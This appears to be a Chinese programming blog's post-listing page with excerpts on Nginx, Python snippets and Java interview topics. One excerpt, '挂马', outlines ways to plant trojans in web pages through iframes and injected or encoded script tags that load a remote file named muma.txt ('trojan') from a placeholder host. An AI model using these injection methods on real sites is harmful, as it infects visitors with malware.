- 博客(24)
- 收藏
- 关注
原创 Nginx 记录
在mac上安装了 brew 然后使用 brew install nginx 安装的 还有 brew install mysqlnginx 默认目录给放到了 /usr/local/sbin启动nginx 的时候发现Address already in use用lsof -i :8080 查看这个端口 ebProces 464 liu1695347_apple 25u
2013-01-09 17:36:07
2854
原创 python 常用方法记录
<br />a = set([1,2,3,1,3,4])<br />a.difference(数组B)<br />》》》返回a中所有不属于B的元素 返回一个元祖
2011-03-21 15:35:00
451
原创 挂马
一:框架挂马 二:js文件挂马 首先将以下代码 document.write("' src='地址'>"); 保存为xxx.js, 则JS挂马代码为 三:js变形加密 PT language="JScript.Encode" src=http://www.xxx.com/muma.txt>muma.txt可改成任意后缀 四:body挂马
2011-01-11 11:15:00
903
原创 python快速排序
<br /><br />#-*- coding: utf-8 -*-<br />class QuickSort: <br /> def sort(self,list,left,right): <br /> #开始位置小于 位置<br /> if(left<right): <br /> #取到中间的一个下标值<br /> s=list[(left+right)/2] <br /> #i=0<br />
2011-01-10 18:34:00
573
原创 Python urllib 实现突破下载
<br />#! /usr/bin/env python<br />#coding=utf-8<br />import urllib <br />url = r"http://www.javaeye.com/images/logo.gif" <br />path = r"c:/111111/1.jpg" <br />data = urllib.urlopen(url).read() <br />f = file(path,"wb") <br />f.write(data) <br />f
2010-11-03 11:21:00
395
原创 Hibernate一级缓存和二级缓存
<br />什么是缓存 <br />可以在内存中开辟一块空间,本来应该在硬盘里的数据,现在放到内存中,如果需要直接在内存中取,而不需要取数据库中取<br />1级缓存<br /> <br /> <br /> <br />2级缓存 不用去数据库里查询<br /> 1,经常会访问<br /> 2,改动不大 不会经常改动 比如用户权限 <br /> 3。数量有限<br /> <br /> 查询重复 才可以使用到2级缓存 比
2010-06-18 03:46:00
367
原创 Class.forName()和new和Instantiation()区别
Class.forName()和new和Instantiation()区别
2010-06-12 20:35:00
481
转载 内部类 概念
提起Java内部类(Inner Class)可能很多人不太熟悉,实际上类似的概念在C++里也有,那就是嵌套类(Nested Class),关于这两者的区别与联系,在下文中会有对比。内部类从表面上看,就是在类中又定义了一个类(下文会看到,内部类可以在很多地方定义),而实际上并没有那么简单,乍看上去内部类似乎有些多余,它的用处对于初学者来说可能并不是那么显著,但是随着对它的深入了解,你会发现Java的设计者在内部类身上的确是用心良苦。学会使用内部类,是掌握Java高级编程的一部分,它可以让你更优雅地设计你
2010-06-08 15:56:00
739
原创 ssh框架的优缺点
<br />Struts:<br /> <br /> 优点:首先他是开源的,使开发者可以更深了解他的原理和内部实现机制, 可扩展性<br /> 采用MVC模式分离业务逻辑层 显示层 模型层 低耦合,结构清晰,使开发者专注于业务逻辑<br /> 还有丰富的标签库供使用<br /> 支持国际化<br /> 还有很高的重用性<br /> <br /> <br
2010-06-05 20:04:00
22953
原创 Struts配置文件的使用XML
web XML 元素是xml。的根元素,子元素之间的顺序有他们在父元素中出现的先后顺序决定,配置属性s打头的都是父类元素web xml 配置错误信息404 报404和500错误的时候转到该页面500 捕获异常处理 WEB容器会捕获3个异常R
2010-03-12 18:08:00
648
原创 Iterator和listIterator的区别 迭代器
我们在使用List,Set的时候,为了实现对其数据的遍历,我们经常使用到了Iterator(迭代器)。使用迭代器,你不需要干涉其遍历的过程,只需要每次取出一个你想要的数据进行处理就可以了。 但是在使用的时候也是有不同的。List和Set都有iterator()来取得其迭代器。对List来说,你也可以通过listIterator()取得其迭代器,两种迭代器在有些时候是不能通用的,Iterator
2010-03-11 15:13:00
497
原创 java技术
(1) Jbuilder:一个可视的Java编程工具。(2) Eclipse:一个强大的Java编程工具。(3) HSQLDB:是纯Java开发的关系型数据库,并提供JDBC驱动存取数据。(4) Mckoi DataBase:是由纯Java开发的数据库。(5) ArgoUML:使用Java编写的开源UML产品。(6) Columba:是基于Java的E-mail客户端。(7
2010-02-18 21:00:00
428
原创 servlet的会话跟踪
servlet的会话跟踪Seevlet容器: 当一个session开始时,servlet容器创建一个httpsession对象并同时在内存中开辟一个空间,会话的创建 httpsession session =request.getsession(); =true;如果为空则创建一个 为false代表如果为空则返回为空,在客户端浏览
2009-12-19 08:06:00
382
转载 java面试
简答题 1.forward 和redirect的区别 forward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器,浏览器根本不知道服务器发送的内容是从哪儿来的,所以它的地址栏中还是原来的地址。 redirect就是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,一般来说浏览器会用刚才请求的所有参数重新请求,所以sessi
2009-12-14 04:46:00
587
原创 java面试题3
23.编程实现序列化的Student(sno,sname)对象在网络上的传输 package com.softeem.demo; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import ja
2009-11-24 17:19:00
469
原创 java面试题2
18.做一个单子模式的类,只加载一次属性文件 package com.softeem.demo; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.util.Propert
2009-11-24 17:18:00
379
原创 mvc模式
框架中所使用的组件: ActionServlet 控制器 ActionClass 包含事务逻辑 ActionForm 显示模块数据 ActionMapping 帮助控制器将请求映射到操作 ActionForward 用来指示操作转移的对象 ActionError 用来存储和回收错误
2009-11-13 09:21:00
412
原创 2年java购物车分析
一.点击图书,展示该书的详细信息 点击图书→books页面→通过url重写displayBook.jsp?isbn=该书编号 →传入displayBooks页面→ →使用标签set接受param本页面传入的isbn值,变量名为isbn,用来保存url重写的isbn。→循环判断session集合中的list对象,遍历判断isbn是否等于currentBooks.isbn,如果存在则用set
2009-11-13 09:12:00
1035
原创 会话的跟踪
会话:客户端与服务器的一次 一连串的交互过程。 实现方式 客户端:url重写,隐藏表单域,cookie网络协议:HTTP协议服务器: url重写:链接jsp页面之后的参数 http://hostname/list.aspx ?id=101 URL重写的优点:l 缩短url,隐藏实际路径提高安全性易于用户记忆和键入易于被搜索引擎收录
2009-10-19 09:29:00
387
原创 线程和线程同步
进程:windows多线程操作系统,一个进程就是一个独立的应用程序,main() Thread1.什么是进程,什么是线程?进程就是一个独立的应用程序,进程是一种"自包容"的运行程序,有自己的地址空间利用对象,通常可以将一个程序分割成相互独立的区域,通常我们也需要将一个程序转换成多个独立运行的子任务,像这样的子任务通常叫做线程(Thread)2.如何创建一个线程?3.线程的状态?4.线程的同
2009-10-15 18:36:00
331
原创 静态,单态,工厂
静态:什么是静态, 其他语言中类内存中不占空间,java在内存中占空间java中的属性表示对象的特征,方法表示对象的行为,表示一个独立的处理过程,于对象无关静态的东西属于类不属于对象,静态在类空间中存在,普通属性在对象空间中存在,静态的东西只能操作静态属性,静态的方法表示一个过程,有了静态方法可以不创建对象而直接调用过程.静态有什么用:1.可以直接在面向对象的语言中直接调用一个处理过程2.可以作
2009-10-15 18:35:00
1108
原创 JAVA集合和数组的区别?
数组:数组是java语言内置的数据类型,他是一个线性的序列,所有可以快速访问其他的元素,数组和其他语言不同,当你创建了一个数组时,他的容量是不变的,而且在生命周期也是不能改变的,还有JAVA数组会做边界检查,如果发现有越界现象,会报RuntimeException异常错误,所有不用担心和C和C++一样不做边界检查而出现的问题,当然检查边界会以效率为代价,数组和其他容器体现在3个方面:1.效率2.类
2009-10-02 14:06:00
16975
原创 第一节课笔记 关于java基础
java基础部分 **(jQuery,PHP,iBATIS,Ajax+jsp)**编程语言的发展过程1.机器码-汇编语言-面向过程(c语言所有都是函数没有主语)-面向对象(c++)vb是基于对象 没有多态面向对象的3打特证是 :继承,封装,和多态。继承:super:调用父类指定方法1:出现在子类的普通方法,调用指定父类的方法2.出现在子类的构造方法,调用父类指定的构造方法封装:1.把类中的部
2009-09-28 02:41:00
683
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人